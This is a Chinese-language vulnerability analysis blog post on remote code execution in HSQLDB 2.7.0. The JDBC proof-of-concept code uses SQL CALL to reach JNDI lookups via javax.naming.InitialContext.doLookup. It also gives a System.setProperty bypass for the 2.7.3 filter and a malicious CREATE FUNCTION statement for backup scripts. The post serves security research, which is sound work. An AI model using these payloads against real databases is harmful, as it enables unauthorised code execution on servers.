最近学习了一些hsqldb漏洞的利用方式,然后尝试去找新的利用方式,
不过没找到(结果还在Unam4哥面前前班门弄斧),因此有了此篇分析文章,
- hsqldb 2.7.0 利用call导致rce 过程分析:
下载历史版本hsqldb-2.7.0.jar https://sourceforge.net/projects/hsqldb/files/hsqldb/hsqldb_2_7/hsqldb-2.7.0.zip/download
使用call调用危险函数,如利用jndi注入或者反序序列化,
打开/hsqldb-2.7.0/hsqldb/src项目编译,报错时直接删除相关报错文件,
然后在org.hsqldb下新建Main类,
然后运行以下脚本,执行sql语句,调用函数成功,
package org.hsqldb;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class Main {
public static void main(String[] args) throws SQLException, ClassNotFoundException, IOException {
Class.forName("org.hsqldb.jdbcDriver");
//这里使用内存模式,
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
//如果对方为http模式,
//服务端开启命令://java -cp hsqldb.jar org.hsqldb.server.WebServer -database.0 file:mydb -dbname.0 mydb -port 8889
//则客户端使用此语句去连接,jdbc:hsqldb:http://127.0.0.1:8889/mydb
Statement statement = connection.createStatement();
/*
//自定义函数,使用java方法,然后直接call list("url")
statement.executeQuery("CREATE FUNCTION list(VARCHAR(255)) \n" +
"RETURNS VARCHAR(255) \n" +
"LANGUAGE JAVA \n" +
"EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list'");
*/
statement.executeQuery("call \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1111')");
}
}
//java -cp hsqldb.jar org.hsqldb.server.WebServer -database.0 file:mydb -dbname.0 mydb -port 8889
分析:
此处断点,org.hsqldb.Routine#getMethods,栈堆如下,
getMethods函数中HsqlDatabaseProperties.supportsJavaMethod(name),
判断是否支持我们call的方法,
这里直接返回true,
这里通过Class.forName(className, true,Thread.currentThread().getContextClassLoader())实现加载类,
然后获取我们传入方法,
最终返回给createRoutines函数的method,
对比hsqldb 2.7.3,org/hsqldb/persist/HsqlDatabaseProperties.java:103存在了过滤措施,
如果开头匹配java.lang.Math.,那么返回true,
如果不是,会进入accessibleJavaMethodNames.contains(name),最后返回也是false,
返回到org.hsqldb.persist.HsqlDatabaseProperties#supportsJavaMethod,
通过accessibleJavaMethodNames返回一个迭代器,
然后判断我们传入的类方法开头是否与循环里面的值匹配,
accessibleJavaMethodNames有系统变量控制,因此2.7.3需要使用call调用类方法时,
需要使用System.setProperty去设置,
如以下脚本,
使用System.setProperty设置系统属性,使得hsqldb.method_class_names为我们想要的class,
package org.hsqldb;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class Main {
public static void main(String[] args) throws SQLException, ClassNotFoundException, IOException {
try {
System.setProperty("hsqldb.method_class_names", "javax.naming.InitialContext.*");
} catch (SecurityException e) {
e.printStackTrace();
// 根据需要处理安全异常
}
Class.forName("org.hsqldb.jdbcDriver");
//这里使用内存模式,
Connection connection = DriverManager.getConnection("jdbc:hsqldb:mem:mydb");
//如果对方为http模式,
//服务端开启命令://java -cp hsqldb.jar org.hsqldb.server.WebServer -database.0 file:mydb -dbname.0 mydb -port 8889
//则客户端使用此语句去连接,jdbc:hsqldb:http://127.0.0.1:8889/mydb
Statement statement = connection.createStatement();
/*
statement.executeQuery("CREATE FUNCTION list(VARCHAR(255)) \n" +
"RETURNS VARCHAR(255) \n" +
"LANGUAGE JAVA \n" +
"EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list'");
*/
statement.executeQuery("call \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1111')");
}
}
- 思考
对hsqldb 2.7.3的一些想法,
1.使用call调用java方法这条路只有去设置系统属性,不然直接断掉。
2.像https://xz.aliyun.com/t/14714这篇文章提到的,
找找类型转换的功能,或许最后会将我们构造16进制数据进行反序列化,不过我没有找到(菜)。
3.可以尝试通过配置文件,如还原备份文件来定义恶意的sql方法,不过限制很大,需要自定义备份文件,
而且从备份文件恢复时,好像也会去判断系统变量是否包含相关类,
以下语句放在备份文件中,开始http模式会加载相关script文件,
CREATE FUNCTION PUBLIC.SELF(IN VARCHAR(255)) RETURNS VARCHAR(255) SPECIFIC SELF_10092 LANGUAGE JAVA NOT DETERMINISTIC CONTAINS SQL CALLED ON NULL INPUT EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list'